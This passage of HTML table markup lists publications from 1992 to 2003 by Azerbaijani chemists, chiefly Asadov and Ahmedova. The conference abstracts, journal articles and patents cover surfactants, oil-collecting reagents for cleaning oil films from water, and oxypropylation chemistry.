width=\"136\"><h2>Asadov Z.G. Ahmadova G.A.</h2><h2>Aga-zade A.D.</h2><h2>Nasibova Sh.M.</h2><h2>Kasimov A.A.</h2><h2>Aliyev V.S.</h2><p>&nbsp;</p></td><td width=\"104\"><h2>Turkey,</h2><h2>Ankara</h2></td><td width=\"72\"><p>1992</p></td><td width=\"88\"><p>p. 136</p></td></tr><tr><td width=\"47\"><p>16.</p></td><td width=\"208\"><h2>О возможности сбора нефти и нефтепродуктов в виде тонких пленок на водной поверхности с помощью композиций, содержащих полимеры и олигомеры на основе акриловых мономеров и эпоксисоединений</h2></td><td width=\"160\"><h2>&nbsp;Научно-практическая конференция «Экологические проблемы&nbsp; г.Баку и пригородских&nbsp; территорий». Баку, 26-27 ноября 1992 г. Тезисы докладов. Баку, Бакинское отделение Экологического Союза Азербайджана</h2></td><td width=\"136\"><h2>Асадов З.Г.</h2><p>Ага-заде А.Д.</p><p>Исмаилова Х.Р.</p><p>Ахмедова Г.А.</p><p>Касимов А.А.</p><h2>Алиев В.С.</h2></td><td width=\"104\"><h2>Баку</h2></td><td width=\"72\"><h2>1992</h2></td><td width=\"88\"><p>С.17</p></td></tr><tr><td width=\"47\"><p>17.</p></td><td width=\"208\"><h2>Новый реагент для сбора тонких нефтяных пленок с водной поверхности</h2></td><td width=\"160\"><h2>Материалы научно-практ. конференции по экологич. пробл. Азербайджана. II выпуск. Баку: Азерб.Респ. Ассоц. «Экология»</h2></td><td width=\"136\"><h2>Асадов З.Г.</h2><p>Ага-заде А.Д.</p><p>Исмаилова Х.Р.</p><p>Ахмедова Г.А.</p><p>Алиев В.С.</p><h2>&nbsp;</h2></td><td width=\"104\"><h2>Баку</h2></td><td width=\"72\"><h2>1993</h2></td><td width=\"88\"><p>С.82</p></td></tr><tr><td width=\"47\"><p>18.</p></td><td width=\"208\"><h2>Композиция для удаления нефти и нефтепродуктов с поверхности воды</h2></td><td width=\"160\"><h2>Заявка Азербайджанской Республики 000166А от 23/ХI 1993 г. Патент Р990073</h2></td><td width=\"136\"><h2>Асадов З.Г.</h2><p>Ага-заде А.Д.</p><p>Исмаилова Х.Р.</p><p>Ахмедова Г.А.</p><p>Касимов А.А.</p><h2>&nbsp;</h2></td><td width=\"104\"><h2>Азербайджан</h2></td><td width=\"72\"><h2>1999</h2></td><td width=\"88\"><p>&nbsp;</p></td></tr><tr><td width=\"47\"><p>19.</p></td><td width=\"208\"><h2>Частично гидрофобизированные полимерные ПАВ на основе акриловой кислоты, окиси пропилена&nbsp; и спиртов</h2></td><td width=\"160\"><h2>Первая Бакинская Международная Конференция по нефтехимии «Новые процессы, технологии, материалы. Баку-94». Тезисы докладов</h2></td><td width=\"136\"><p>Асадов З.Г.</p><p>Ага-заде А.Д.</p><p>Насибова Ш.М.</p><p>Ахмедова Г.А.</p><p>Касимов А.А.</p><p>Алиев В.С.</p><p>&nbsp;</p></td><td width=\"104\"><h2>Баку</h2></td><td width=\"72\"><p>1994</p></td><td width=\"88\"><p>С.201</p></td></tr><tr><td width=\"47\"><p>20.</p></td><td width=\"208\"><h2>Очистка водной поверхности от пленок нефтяного происхождения</h2></td><td width=\"160\"><h2>Экологические проблемы Азербайджана. Материалы научно-практической конференции по экологическим проблемам Азербайджана. III выпуск</h2></td><td width=\"136\"><p>Асадов З.Г.</p><p>Ага-заде А.Д.</p><p>Исмаилова Х.Р.</p><p>Ахмедова Г.А.</p><p>Эюбова С.К.</p></td><td width=\"104\"><h2>Баку</h2></td><td width=\"72\"><p>1994</p></td><td width=\"88\"><p>С.113-114</p></td></tr><tr><td width=\"47\"><p>21.</p></td><td width=\"208\"><h2>Композиция для удаления нефтяных пленок с поверхности водоемов</h2></td><td width=\"160\"><h2>Материалы научно-практической. конференции «Экология-93». Сумгаит</h2></td><td width=\"136\"><p>Асадов З.Г.</p><p>Ага-заде А.Д.</p><p>Исмаилова Х.Р.</p><p>Ахмедова Г.А.</p><p>Алиев В.С.</p></td><td width=\"104\"><h2>Сумгаит</h2></td><td width=\"72\"><p>1993</p></td><td width=\"88\"><p>С.13</p></td></tr><tr><td width=\"47\"><p>22.</p></td><td width=\"208\"><h2>Oil-collecting monocomponent reagents</h2></td><td width=\"160\"><h2>Third Baku International Congress</h2><p>«Energy, Ecology, Economy».&nbsp; Abstracts</p><p>&nbsp;</p><p>&nbsp;</p></td><td width=\"136\"><h2>Asadov Z.G.</h2><h2>Aga-zade A.D.</h2><p>Ahmadova G.A.</p><p>Eyubova S.K.</p><p>Ismailova Kh.R.</p></td><td width=\"104\"><h2>Baku</h2></td><td width=\"72\"><p>1995</p></td><td width=\"88\"><p>P.87</p></td></tr><tr><td width=\"47\"><p>23.</p></td><td width=\"208\"><h2>Исследование собирания тонких нефтяных пленок с поверхности воды под воздействием нефтесобирающей и нефтедиспергирующей копозиции</h2></td><td width=\"160\"><h2>Азербайджанское нефтяное хозяйство</h2></td><td width=\"136\"><h2>Асадов З.Г.</h2><p>Ага-заде А.Д.</p><p>Исмаилова Х.Р.</p><p>Ахмедова Г.А.</p><p>Алиев В.С.</p></td><td width=\"104\"><h2>Баку</h2></td><td width=\"72\"><p>1995</p></td><td width=\"88\"><p>№7-8. С.103-107</p></td></tr><tr><td width=\"47\"><p>24.</p></td><td width=\"208\"><h2>Новые поверхностно-активные сополимеры, содержащие одновременно анионо-и катионактивные, а также неионогенные функциональные группы</h2></td><td width=\"160\"><h2>II Бакинская Международная нефтехимическая конференция посвящ. памяти акад. Ю.Г. Мамедалиева. Тезисы докладов</h2></td><td width=\"136\"><h2>Асадов З.Г.</h2><p>Ага-заде А.Д.</p><p>Ахмедова Г.А.</p><p>Барзегар Зенуз М.</p><p>Эюбова С.К.</p></td><td width=\"104\"><h2>Баку</h2></td><td width=\"72\"><p>1996</p></td><td width=\"88\"><p>С.47</p></td></tr><tr><td width=\"47\"><p>25.</p></td><td width=\"208\"><h2>Изучение межфазного распределения нефтесобирающей и диспергирующей композиции и влияния минерализации и рН воды на ее действие</h2></td><td width=\"160\"><h2>Азербайджанское нефтяное хозяйство</h2></td><td width=\"136\"><h2>Асадов З.Г.</h2><p>Ага-заде А.Д.</p><p>Исмаилова Х.Р.</p><p>Ахмедова Г.А.</p></td><td width=\"104\"><h2>Баку</h2></td><td width=\"72\"><p>1996</p></td><td width=\"88\"><p>№3. С.56-59</p></td></tr><tr><td width=\"47\"><p>26.</p></td><td width=\"208\"><h2>Нефтесобирающие олигомеры</h2></td><td width=\"160\"><h2>Материалы Международного симпозиума Азербайджан-Башкортостан «Проблемы экологии в нефтепереработке и нефтехимии»</h2></td><td width=\"136\"><h2>Асадов З.Г.</h2><p>Ага-заде А.Д.</p><p>Ахмедова Г.А.</p><p>Исмаилова Х.Р.</p><h2>Эюбова С.К.</h2></td><td width=\"104\"><h2>Россия,</h2><h2>Уфа</h2></td><td width=\"72\"><h2>1995</h2></td><td width=\"88\"><p>Ч.А.С.4</p></td></tr><tr><td width=\"47\"><p>27.</p></td><td width=\"208\"><h2>New oil-collecting and dispergating reagents</h2></td><td width=\"160\"><h2>2-nd Iranian Congress of Chemical Engineering&nbsp; Book of Extended Abstracts.&nbsp; Tehran University of Technology</h2></td><td width=\"136\"><h2>Asadov Z.G.</h2><h2>Aga-zade A.D.</h2><p>Akhmedova G.A.</p><p>Barzegar Zenouz M.</p></td><td width=\"104\"><h2>Iran,</h2><h2>Tehran</h2></td><td width=\"72\"><p>1997</p></td><td width=\"88\"><p>P.258-259</p></td></tr><tr><td width=\"47\"><p>28.</p></td><td width=\"208\"><h2>Synthesis&nbsp; and study of new water-soluble (co)polymers of polyelectrolyte nature based on amines, acrylic acid and epoxy compounds</h2></td><td width=\"160\"><h2>Journal of Engineering&nbsp;&nbsp; and Architectural Faculty of Osmangazi University, Eskishehir</h2></td><td width=\"136\"><h2>Asadov Z.G.</h2><h2>Aga-zade A.D.</h2><p>Nourbakhsh M.</p><p>Barzegar Zenouz M. Akhmedova G.A.</p></td><td width=\"104\"><h2>Turkey,</h2><p>Eskishehir</p></td><td width=\"72\"><p>1996</p></td><td width=\"88\"><p>Vol. IX, №2, P. 41-51.</p></td></tr><tr><td width=\"47\"><p>29.</p></td><td width=\"208\"><h2>Сополимеры оксипропилакрилата с акрилатными солями-водорастворимые нефтевытесняющие ПАВ</h2></td><td width=\"160\"><h2>Азербайджанское нефтяное хозяйство</h2></td><td width=\"136\"><h2>Асадов З.Г.</h2><p>Ахмедова Г.А.</p><p>Алиев В.С.</p></td><td width=\"104\"><h2>Баку</h2></td><td width=\"72\"><p>1997</p></td><td width=\"88\"><p>№4. С.48-51,58</p></td></tr><tr><td width=\"47\"><p>30.</p></td><td width=\"208\"><h2>Synthesis of (chlor)oxypropylated derivatives of higher monocarboxylic&nbsp; acids</h2></td><td width=\"160\"><h2>8-th International Sympozium on Science and Technology of oil, gaz and Petrochemistry. National Оil Company of&nbsp; Iran. Tehran</h2></td><td width=\"136\"><h2>Asadov Z.G.</h2><h2>Aga-zade A.D.</h2><p>Akhmedova G.A.</p><h2>Barzegar Zenouz M.</h2></td><td width=\"104\"><h2>Iran,</h2><h2>Tehran</h2></td><td width=\"72\"><p>1997</p></td><td width=\"88\"><p>P.30</p></td></tr><tr><td width=\"47\"><p>31.</p></td><td width=\"208\"><h2>Фосфатированные олигомеры на основе эпоксисоединений</h2></td><td width=\"160\"><h2>Шестая Международная Конференция по химии и физико-химии олигомеров. Тезисы докладов</h2></td><td width=\"136\"><h2>Асадов З.Г.</h2><p>Ага-заде А.Д.</p><p>Ахмедова Г.А.</p><p>Барзегар Зенуз М.</p></td><td width=\"104\"><h2>Россия,</h2><h2>Казань</h2></td><td width=\"72\"><p>1997</p></td><td width=\"88\"><p>Т.1.С.276</p></td></tr><tr><td width=\"47\"><p>32.</p></td><td width=\"208\"><h2>Kinetic regularities of the reaction of polymethacrylic acid (PMAA) oxypropylation</h2></td><td width=\"160\"><h2>Azerbaijan Chemical Journal</h2></td><td width=\"136\"><p>Asadov Z.G.</p><p>Nasibova Sh.M</p><p>Yusubov A.Yu</p><p>Ahmedova G.A.</p></td><td width=\"104\"><h2>Baku</h2></td><td width=\"72\"><p>1998</p></td><td width=\"88\"><p>№1.P.15-19</p></td></tr><tr><td width=\"47\"><p>33.</p></td><td width=\"208\"><h2>Synthesis&nbsp; and polymerization of oxypropyl ester of acrylic acid</h2></td><td width=\"160\"><h2>Azerbaijan Chemical Journal</h2></td><td width=\"136\"><p>Asadov Z.G.</p><p>Ahmedova G.A.</p><p>Aga-zade A.D.</p></td><td width=\"104\"><h2>Baku</h2></td><td width=\"72\"><p>1998</p></td><td width=\"88\"><p>№1.P.72-75</p></td></tr><tr><td width=\"47\"><p>34.</p></td><td width=\"208\"><h2>Новые олигомерные и полимерные реагенты для удаления нефтяных пленок с водной поверхности</h2></td><td width=\"160\"><h2>Тезисы материалов научно-практической конференции «Пути совершенствования Нефтяной науки в Азербайджане», посвящ. 70-летнему юбилею акад. А.Х. Мирзаджанзаде</h2></td><td width=\"136\"><h2>Асадов З.Г.</h2><p>Ага-заде А.Д.</p><p>Насибова Ш.М.</p><p>Ахмедова Г.А.</p><p>Барзегар Зенуз М.</p><p>Исмаилова Х.Р.</p><p>Эюбова С.К.</p></td><td width=\"104\"><h2>Баку</h2></td><td width=\"72\"><p>1998</p></td><td width=\"88\"><p>С.63</p></td></tr><tr><td width=\"47\"><p>35.</p></td><td width=\"208\"><h2>Новые неионогенные ПАВ на основе пеларгоновой кислоты и эпоксидов</h2></td><td width=\"160\"><h2>Тезисы докладов III Бакинской Международной Мамедалиевской нефтехимической конференции</h2></td><td width=\"136\"><p>Асадов З.Г.</p><p>Ахмедова Г.А.</p><p>Ага-заде А.Д.</p><p>Барзегар Зенуз М.</p><p>Исмаилова Х.Р.</p><h2>Эюбова С.К.</h2></td><td width=\"104\"><h2>Баку</h2></td><td width=\"72\"><p>1998</p></td><td width=\"88\"><p>С.44</p></td></tr><tr><td width=\"47\"><p>36.</p></td><td width=\"208\"><h2>Синтез ПАВ на основе NH<sub>2</sub>-содержащих производных высших алканов и эпоксисоединений</h2></td><td width=\"160\"><h2>Тезисы докладов III Бакинской Международной Мамедалиевской нефтехимической конференции</h2></td><td width=\"136\"><h2>Асадов З.Г.</h2><p>Ага-заде А.Д.</p><p>Насибова Ш.М.</p><p>Ахмедова Г.А.</p><p>Барзегар Зенуз М.</p><p>Исмаилова Х.Р.</p><p>Эюбова С.К.</p></td><td width=\"104\"><h2>Баку</h2></td><td width=\"72\"><p>1998</p></td><td width=\"88\"><p>С.81</p></td></tr><tr><td width=\"47\"><p>37.</p></td><td width=\"208\"><h2>Исследование&nbsp; нефтевытесняющих свойств фосфатированных олигомеров с различной длиной цепи на основе гетероциклических соединений</h2></td><td width=\"160\"><h2>Азербайджанское нефтяное хозяйство</h2></td><td width=\"136\"><h2>Асадов З.Г.</h2><p>Ага-заде А.Д.</p><p>Ахмедова Г.А.</p><p>&nbsp;</p></td><td width=\"104\"><h2>Баку</h2></td><td width=\"72\"><p>1998</p></td><td width=\"88\"><p>№11. С.47-51</p></td></tr><tr><td width=\"47\"><p>38.</p></td><td width=\"208\"><h2>Исследование влияния длины цепи олигомеров на основе эпоксисоединений на их нефтесобирающую способность</h2></td><td width=\"160\"><h2>Нефть и газ. Известия высших учебных заведений</h2></td><td width=\"136\"><h2>Асадов З.Г.</h2><p>Ага-заде А.Д.</p><p>Ахмедова Г.А.</p><h2>Барзегар Зенуз М.</h2></td><td width=\"104\"><h2>Баку</h2></td><td width=\"72\"><h2>1998</h2></td><td width=\"88\"><p>№3-4, С. 38-42</p></td></tr><tr><td width=\"47\"><p>39.</p></td><td width=\"208\"><h2>Реакционноспособные олигомеры и полимеры. Синтез и применение (монография)</h2></td><td width=\"160\"><h2>Институт нефтехимических процессов (ИНХП) АН Азербайджана</h2></td><td width=\"136\"><h2>Азизов А.Г.</h2><p>Абдуллаев Я.Г.</p><p>Асадов З.Г.</p><p>Везиров Ш.С.</p><p>Гаджиев Т.А.</p><p>Насиров Ф.А.</p></td><td width=\"104\"><h2>Баку</h2></td><td width=\"72\"><h2>1998</h2></td><td width=\"88\"><p>&nbsp;</p></td></tr><tr><td width=\"47\"><p>40.</p></td><td width=\"208\"><h2>Водорастворимые поверхностно-активные акриловые (со)олигомеры и (со)полимеры с оксипропильными фрагментами</h2></td><td width=\"160\"><h2>В кн.:Синтез и применение реакционноспособных олигомеров и полимеров. ИНХП АН Азербайджана</h2></td><td width=\"136\"><h2>Асадов З.Г.</h2><h2>Ахмедова Г.А.</h2></td><td width=\"104\"><h2>Баку</h2></td><td width=\"72\"><h2>1998</h2></td><td width=\"88\"><p>С.219-246</p></td></tr><tr><td width=\"47\"><p>41.</p></td><td width=\"208\"><h2>Poliakril turşusunun oksipropil törəmələrinin alınması üsulu</h2></td><td width=\"160\"><h2>Azərbaycan Respublikası Patenti</h2><h2>P 990025</h2></td><td width=\"136\"><h2>Əsədov Z.H.</h2><h2>Əliyev V.S.</h2><h2>Ağa-zadə Ə.D.</h2><h2>Nəsibova Ş.M.</h2><h2>Qasımov A.Ə.</h2><h2>Əhmədova G.A.</h2></td><td width=\"104\"><h2>Азярбайъан</h2></td><td width=\"72\"><h2>1999</h2></td><td width=\"88\"><p>&nbsp;</p></td></tr><tr><td width=\"47\"><p>42.</p></td><td width=\"208\"><h2>Каталитическая конденсация высших алканолов (С<sub>10</sub>-С<sub>12</sub>, С<sub>14</sub>) с эпихлоргидрином</h2></td><td width=\"160\"><h2>Тезисы докладов конференции «Тонкий органический синтез и катализ»</h2></td><td width=\"136\"><h2>Асадов З.Г.</h2><p>Ахмедова Г.А.</p><h2>&nbsp;</h2></td><td width=\"104\"><h2>Баку</h2></td><td width=\"72\"><h2>1999</h2></td><td width=\"88\"><p>С. 49-50</p></td></tr><tr><td width=\"47\"><p>43.</p></td><td width=\"208\"><h2>Синтез и свойства некоторых неионогенных ПАВ на основе производных алифатических спиртов</h2></td><td width=\"160\"><h2>Нефтехимия</h2></td><td width=\"136\"><h2>Асадов З.Г.</h2><p>Ага-заде А.Д.</p><p>Ахмедова Г.А.</p><h2>&nbsp;</h2></td><td width=\"104\"><h2>Россия, Москва</h2></td><td width=\"72\"><h2>2000</h2></td><td width=\"88\"><p>Том 40, №2.С.135-139</p></td></tr><tr><td width=\"47\"><p>44.</p></td><td width=\"208\"><h2>Кинетика оксипропилирования тетрадеканола</h2></td><td width=\"160\"><h2>IV Бакинская Международная Мамедалиевская Нефтехимическая Конференция</h2></td><td width=\"136\"><h2>Асадов З.Г.</h2><p>Ага-заде А.Д.</p><p>Барзегар Зенуз М.</p><p>Ахмедова Г.А.</p></td><td width=\"104\"><h2>Баку</h2></td><td width=\"72\"><p>2000</p></td><td width=\"88\"><p>С.43</p></td></tr><tr><td width=\"47\"><p>45.</p></td><td width=\"208\"><h2>ПАВ на основе алифатических одно- основных карбоновых кислот и эпоксисоединений</h2></td><td width=\"160\"><h2>IV Бакинская Международная Мамедалиевская Нефтехимическая Конференция</h2></td><td width=\"136\"><h2>Асадов З.Г.</h2><p>Ахмедова Г.А.</p><p>Насибова Ш.М.</p><p>Зарбалиева И,А.</p><p>Салманова Ч.К</p></td><td width=\"104\"><h2>Баку</h2></td><td width=\"72\"><p>2000</p></td><td width=\"88\"><p>С.44</p></td></tr><tr><td width=\"47\"><p>46.</p></td><td width=\"208\"><h2>Неионогенные ПАВ на основе местных видов сырья</h2></td><td width=\"160\"><h2>IV Бакинская Международная Мамедалиевская Нефтехимическая Конференция</h2></td><td width=\"136\"><h2>Асадов З.Г.</h2><p>Ага-заде А.Д.</p><h2>Ахмедова Г.А.</h2><p>Эюбова С.К</p><p>Баннаева Г.К.</p></td><td width=\"104\"><h2>Баку</h2></td><td width=\"72\"><p>2000</p></td><td width=\"88\"><p>С.56</p></td></tr><tr><td width=\"47\"><p>47.</p></td><td width=\"208\"><h2>Полимерные&nbsp; нефтесобирающие и диспергирующие реагенты для удаления нефтяных пленок с водной поверхности</h2></td><td width=\"160\"><h2>Материалы IV Международной Конференции «Химия нефти и газа»</h2></td><td width=\"136\"><h2>Асадов З.Г.</h2><p>Ага-заде А.Д.</p><p>Насибова Ш.М.</p><p>Ахмедова Г.А.</p></td><td width=\"104\"><h2>Россия, Томск</h2></td><td width=\"72\"><h2>2000</h2></td><td width=\"88\"><p>. Т.2,С.508-510</p></td></tr><tr><td width=\"47\"><p>48</p></td><td width=\"208\"><h2>Synthesis and properties of some nonionic surfactants based on propoxylated derivatives of aliphatic alcohols</h2></td><td width=\"160\"><h2>Petroleum Chemistry (ISSN 0965-5441)</h2></td><td width=\"136\"><p>Asadov Z.G.</p><h2>Aga-zade A.D.</h2><p>Akhmedova G.A.</p></td><td width=\"104\"><h2>Russia,</h2><h2>Russia,</h2><h2>Moscow</h2></td><td width=\"72\"><p>2000</p></td><td width=\"88\"><p>v.40, №2, p.116-120</p></td></tr><tr><td width=\"47\"><p>49.</p></td><td width=\"208\"><h2>Нефтесобирающие и диспергирующие реагенты для удаления нефтяных пленок с водной поверхности</h2></td><td width=\"160\"><h2>Материалы III Международной Конференции «Экология и Охрана Жизненной Деятельности»</h2></td><td width=\"136\"><h2>Асадов З.Г.</h2><p>Ага-заде А.Д.</p><h2>Ахмедова Г.А.</h2><p>Насибова Ш.М.</p><p>Эюбова С.К</p><p>Баннаева Г.К.</p></td><td width=\"104\"><h2>Сумгаит</h2></td><td width=\"72\"><p>2000</p></td><td width=\"88\"><p>С.57-58</p></td></tr><tr><td width=\"47\"><p>50.</p></td><td width=\"208\"><h2>Поверхностно-активные олигомеры на основе эпоксидов и высших алифатических монокарбоновых кислот</h2></td><td width=\"160\"><h2>Материалы Седьмой Международной Конференции по Химии и физико-химии олигомеров «Oлигомеры-VII»</h2></td><td width=\"136\"><h2>Асадов З.Г.</h2><p>Ага-заде А.Д.</p><h2>Ахмедова Г.А.</h2><p>Эюбова С.К</p><p>Баннаева Г.К.</p></td><td width=\"104\"><h2>Россия, Пермь</h2></td><td width=\"72\"><p>2000</p></td><td width=\"88\"><p>С.39</p></td></tr><tr><td width=\"47\"><p>51.</p></td><td width=\"208\"><h2>Новые неионогенные поверхностно-активные вещества на основе эпоксидов-С<sub>3</sub></h2></td><td width=\"160\"><h2>Российская Конференция «Актуальные Проблемы в Нефтехимии»</h2></td><td width=\"136\"><h2>Асадов З.Г.</h2><p>Ага-заде А.Д.</p><h2>Ахмедова Г.А.</h2><p>Насибова Ш.М.</p><p>Баннаева Г.К.</p></td><td width=\"104\"><h2>Россия, Москва</h2></td><td width=\"72\"><p>2001</p></td><td width=\"88\"><p>С.88</p></td></tr><tr><td width=\"47\"><p>52.</p></td><td width=\"208\"><h2>Новые неионогенные реагенты&nbsp; нефтесобирающего и диспергирующего действия для очистки поверхности водоемов от нефтяных пленок</h2></td><td width=\"160\"><h2>Российская Конференция «Актуальные Проблемы в Нефтехимии»</h2></td><td width=\"136\"><h2>Асадов З.Г.</h2><p>Ага-заде А.Д.</p><h2>Ахмедова Г.А.</h2><p>Эюбова С.К.</p><p>Баннаева Г.К.</p></td><td width=\"104\"><h2>Россия, Москва</h2></td><td width=\"72\"><p>2001</p></td><td width=\"88\"><p>С.300</p></td></tr><tr><td width=\"47\"><p>53.</p></td><td width=\"208\"><h2>Catalytic (chlor)oxypropylation of tridecane acid</h2></td><td width=\"160\"><h2>2-nd&nbsp; Chemical Engineering Conference for Collaborative Research in Eastern Mediterranean</h2></td><td width=\"136\"><p>Asadov Z.G.</p><h2>Aga-zade A.D.</h2><p>Akhmedova G.A.</p><p>Zarbaliyeva I.A.</p></td><td width=\"104\"><h2>Turkey,</h2><p>Ankara</p></td><td width=\"72\"><p>2001</p></td><td width=\"88\"><p>P.120-121</p></td></tr><tr><td width=\"47\"><p>54.</p></td><td width=\"208\"><h2>Synthesis of surface-active chloroxypropyl derivatives of the saturated aliphatic monocarboxylic&nbsp; (C<sub>5</sub>, C<sub>6</sub>, C<sub>8</sub>, C<sub>9,</sub>C<sub>16</sub>&nbsp;and C<sub>18</sub>) acids of normal structure</h2></td><td width=\"160\"><h2>Azerbaijan Chemical Journal</h2></td><td width=\"136\"><p>Asadov Z.H.</p><p>Ahmedova G.A.</p><p>Aliyev B.M</p></td><td width=\"104\"><h2>Baku</h2></td><td width=\"72\"><p>2001</p></td><td width=\"88\"><p>№1.P.27-31</p></td></tr><tr><td width=\"47\"><p>55.</p></td><td width=\"208\"><h2>The propoxylation of tetradecyl and pentadecyl alcohols</h2></td><td width=\"160\"><h2>Petroleum Chemistry (ISSN 0965-5441)</h2></td><td width=\"136\"><p>Asadov Z.G.</p><h2>Aga-zade A.D.</h2><p>M.Barzegar Zenus</p><p>Akhmedova G.A.</p><p>&nbsp;</p></td><td width=\"104\"><h2>Russia,</h2><h2>Moscow</h2></td><td width=\"72\"><p>2001</p></td><td width=\"88\"><p>v.41, №5, p.357-363</p></td></tr><tr><td width=\"47\"><p>56.</p></td><td width=\"208\"><h2>Закономерности оксипропилирования тетра-и&nbsp; пентадецилового спиртов</h2></td><td width=\"160\"><h2>Нефтехимия</h2></td><td width=\"136\"><h2>Асадов З.Г.</h2><p>Ага-заде А.Д.</p><h2>Барзегар Зенуз М</h2><h2>Ахмедова Г.А.</h2></td><td width=\"104\"><h2>Россия, Москва</h2></td><td width=\"72\"><h2>2001</h2></td><td width=\"88\"><p>Т. 41, №5.С. 389-395</p></td></tr><tr><td width=\"47\"><p>57.</p></td><td width=\"208\"><h2>ПАВ на основе аминов, высших алифатических монокарбоновых кислот и фракций кислот растительного происхождения</h2></td><td width=\"160\"><h2>Материалы IV Международной Конференции «Экология и Охрана Жизненной Деятельности»</h2></td><td width=\"136\"><h2>Ага-заде А.Д.</h2><h2>Асадов З.Г.</h2><p>Ахмедова Г.А.</p><p>Зарбалиева И.А.</p><p>Эюбова С.К.</p><p>Саламова&nbsp; Н.В.</p></td><td width=\"104\"><h2>Сумгаит</h2></td><td width=\"72\"><p>2002</p></td><td width=\"88\"><p>С.41</p></td></tr><tr><td width=\"47\"><p>58.</p></td><td width=\"208\"><h2>Реагенты, замедляющие испарение бензина</h2></td><td width=\"160\"><h2>Материалы IV Международной Конференции «Экология и Охрана Жизненной Деятельности»</h2></td><td width=\"136\"><h2>Асадов З.Г.</h2><h2>Ага-заде А.Д.</h2><p>Ахмедова Г.А.</p><p>Саламова Н.В.</p></td><td width=\"104\"><h2>Сумгаит</h2></td><td width=\"72\"><p>2002</p></td><td width=\"88\"><p>С.84</p></td></tr><tr><td width=\"47\"><p>59.</p></td><td width=\"208\"><h2>Каталитическое хлороксипропилирование алифатических спиртов С<sub>7</sub>-С<sub>9</sub>&nbsp;и С<sub>13</sub></h2></td><td width=\"160\"><h2>2-ая Международная Научная Конференция «Тонкий Органический синтез&nbsp; и катализ» Баку, апрель 2001</h2></td><td width=\"136\"><h2>Асадов З.Г.</h2><p>Ахмедова Г.А.</p><p>Мустафаева К.Н.</p><h2>Саламова&nbsp; Н.В.</h2></td><td width=\"104\"><h2>Баку</h2></td><td width=\"72\"><h2>2002</h2></td><td width=\"88\"><p>С.171-172</p></td></tr><tr><td width=\"47\"><p>60.</p></td><td width=\"208\"><p>Нефтесобирающие реагенты на основе фракции природных кислот и эпоксисоединения.</p></td><td width=\"160\"><p>V Бакинская Международная Мамедалиевская нефтехимическая конференция</p></td><td width=\"136\"><p>Асадов З.Г.</p><p>Ага-заде А.Д.</p><p>Ахмедова Г.А.</p><p>Эюбова С.К.</p><p>Саламова Н.В.</p></td><td width=\"104\"><h2>Баку</h2></td><td width=\"72\"><h2>2002</h2></td><td width=\"88\"><p>С.60</p></td></tr><tr><td width=\"47\"><p>61.</p></td><td width=\"208\"><p>Каталитический синтез неионоген-ных поверхност-но-активных ве-ществ на основе тридекановой кислоты и эпи-хлоргидрина</p></td><td width=\"160\"><p>V Бакинская Международная Мамедалиевская нефтехимическая конференция</p></td><td width=\"136\"><p>Ахмедова Г.А.</p><p>Саламова Н.В.</p></td><td width=\"104\"><h2>Баку</h2></td><td width=\"72\"><h2>2002</h2></td><td width=\"88\"><p>С.227</p></td></tr><tr><td width=\"47\"><p>62.</p></td><td width=\"208\"><p>Влияние природы катализатора на протекание реак-ции (хлор)окси-пропилирования пеларгоновой кис-лоты</p></td><td width=\"160\"><p>V Бакинская Международная Мамедалиевская нефтехимическая конференция</p></td><td width=\"136\"><p>Ага-заде А.Д.</p><p>Ахмедова Г.А.</p><p>Зарбалиева И.А.</p></td><td width=\"104\"><h2>Баку</h2></td><td width=\"72\"><h2>2002</h2></td><td width=\"88\"><p>С.228</p></td></tr><tr><td width=\"47\"><p>63.</p></td><td width=\"208\"><p>Synthesis of novel cross-linked acrylate copolymers of high water-absorbing capacity</p></td><td width=\"160\"><p>Polymer Networks. 2002. Functional Networks and Gels. 16-th Polymer Networks Group Meeting. Programme and Abstracts</p></td><td width=\"136\"><p>Asadov Z.H.</p><p>Ahmadova G.A.</p><p>Nasibova Sh.M.</p><p>Aga-zade A.D.</p></td><td width=\"104\"><p>France,</p><p>Autrans</p></td><td width=\"72\"><p>2002</p></td><td width=\"88\"><p>Р.21</p></td></tr><tr><td width=\"47\"><p>64.</p></td><td width=\"208\"><p>Neftyığıcı və neftdispersləyici reagent</p></td><td width=\"160\"><p>Патент И 2004 0172</p></td><td width=\"136\"><p>Əsədov Z.H.</p><p>Ağa-zadə Ə.D.</p><p>Əhmədova G.A.</p><p>Eyubova S.K.</p><p>Salamova N.V.</p></td><td width=\"104\"><p>Азярбайъан</p></td><td width=\"72\"><p>2002</p></td><td width=\"88\"><p>&nbsp;</p></td></tr><tr><td width=\"47\"><p>65.</p></td><td width=\"208\"><p>Влияние структуры углеродного каркаса (С<sub>13</sub>) неиногенных видов поверхностно-активных веществ на их поверхностную активность и нефтесобирающие свойства.</p></td><td width=\"160\"><p>Процессы нефтехимии и нефтепереработки</p></td><td width=\"136\"><p>Асадов З.Г.</p><p>Ага-заде А.Д.</p><p>Ахмедова Г.А.</p><p>Эюбова С.К.</p><p>Саламова Н.В.</p><p>Зарбалиева И.А</p></td><td width=\"104\"><p>Баку</p></td><td width=\"72\"><p>2002</p></td><td width=\"88\"><p>№3 (10). с. 61-70</p></td></tr><tr><td width=\"47\"><p>66.</p></td><td width=\"208\"><p>Физико-химические характеристики и поверхностно-активных свойства фракции карбоновых кислот, выделяемых из растительных масел и животных жиров.</p></td><td width=\"160\"><p>Химия и нефтехимия</p></td><td width=\"136\"><p>Асадов З.Г.</p><p>Ага-заде А.Д.</p><p>Ахмедова Г.А.</p><p>Эюбова С.К.</p><p>Саламова Н.В.</p></td><td width=\"104\"><p>Баку</p></td><td width=\"72\"><p>2002</p></td><td width=\"88\"><p>№2.с.5-13</p></td></tr><tr><td width=\"47\"><p>67.</p></td><td width=\"208\"><p>Новые нефтесобирающие и диспергирующие реагенты для удаления тонких нефтяных пленок с водной поверхности .</p></td><td width=\"160\"><p>Материалы научно-практической конференции, посвящ.90-летию Александра Сергеевича Эйгенсона «Нефтепереработка и нефтехимия–2002».Уфа</p></td><td width=\"136\"><p>Асадов З.Г.</p><p>Ага-заде А.Д.</p><p>Ахмедова Г.А.</p><p>Эюбова С.К.</p><p>Саламова Н.В.</p><p>Насибова Ш.М.</p></td><td width=\"104\"><p>Россия,</p><p>Уфа</p></td><td width=\"72\"><p>2002</p></td><td width=\"88\"><p>С.203</p></td></tr><tr><td width=\"47\"><p>68.</p></td><td width=\"208\"><p>Surfactants based on Higher Carboxylic Acids and Epoxy Compounds</p></td><td width=\"160\"><p>Proceedings of the 6<sup>th</sup>Iranian Seminar Polymer Science and Technology (ISPST 2003)</p></td><td width=\"136\"><p>Asadov Z.H.</p><p>Nurbas 